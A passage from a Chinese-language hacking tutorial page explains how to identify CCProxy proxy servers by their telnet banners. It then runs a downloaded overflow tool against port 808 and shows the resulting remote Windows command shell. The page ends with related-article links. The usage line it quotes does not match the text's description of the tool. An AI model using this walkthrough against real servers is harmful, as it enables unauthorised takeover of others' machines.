2．探测
CCProxy在默认安装情况下，会将“23”作为Telnet服务的代理端口，“2121”做为FTP服务的代理端口。我们只需要在这些端口上进行信息探测，就可以发现目标主机是不是CCProxy代理服务器。
打开CMD命令行窗口，用Telnet连接目标主机，其命令格式为：
Telnet 目标IP 端口（如“Telnet 127.0.0.1 23”）
如果目标代理服务器是处于CCProxy的免密码状态（即未曾设置代理用户名和密码），那么就会出现Banner信息“CCProxy telnet server ready”；如果目标代理服务器是处于CCProxy的密码状态（即设置过代理用户名和密码），那么就会提示输入用户名（随便输入几个字符后会出现错误提示“User Invalid”）。这些信息都是CCProxy代理软件特有的提示信息，这样就可以很容易地确定目标代理服务器是否安装了CCProxy（图3）。
图3CCProxy的两种运行模式
三、攻击CCProxy代理服务器
利用上述方法确认目标为安装了CCProxy的代理服务器，那么下面就开始利用CCProxy的溢出攻击工具进行溢出。从网上下载回来的CCProxy的溢出攻击工具叫“ccpx.exe”。在CMD命令行中打开它，可以看到帮助命令：
Usage: ccproxyexp.exe [target_port]
这其中“target_ip”是指目标主机的IP地址，“target_port”是CCProxy的主端口，默认情况下是“808”。
根据参数输入攻击命令后提示：
本主机IP是否与目标主机IP在同一个网段？[y/n]y
[+] connecting to 127.0.0.1:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\winnt\system32
现在溢出成功，获得此代理服务器的控制权（图4）。
图4溢出成功拿到服务器控制权
更多内容请看常用软件加密宝典、杀毒软件专栏、软件插件专题，或进入讨论组讨论。
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
相关专题
- 基础知识 黑客域名劫持攻击详细步骤 (0次浏览)
- CISSP的成长之路（十八）：详述网络威胁类型 (0次浏览)
- 个人用户的网络安全防范 (0次浏览)
- 驱逐威胁 六把安全利剑清除僵尸网络 (0次浏览)
- CISSP的成长之路（十九）：详述安全威胁控制手 (0次浏览)
- 07年电脑安全大盘点：蠕虫网络威胁Web 2.0 (0次浏览)
- Web应用安全的全新探索 (0次浏览)
- 到底谁需要网络访问控制 （NAC）？ (0次浏览)
- 针对性的防御手段 十招应对邮件欺诈 (0次浏览)
- 跨站打印攻击 网络打印机成攻击新途径 (0次浏览)
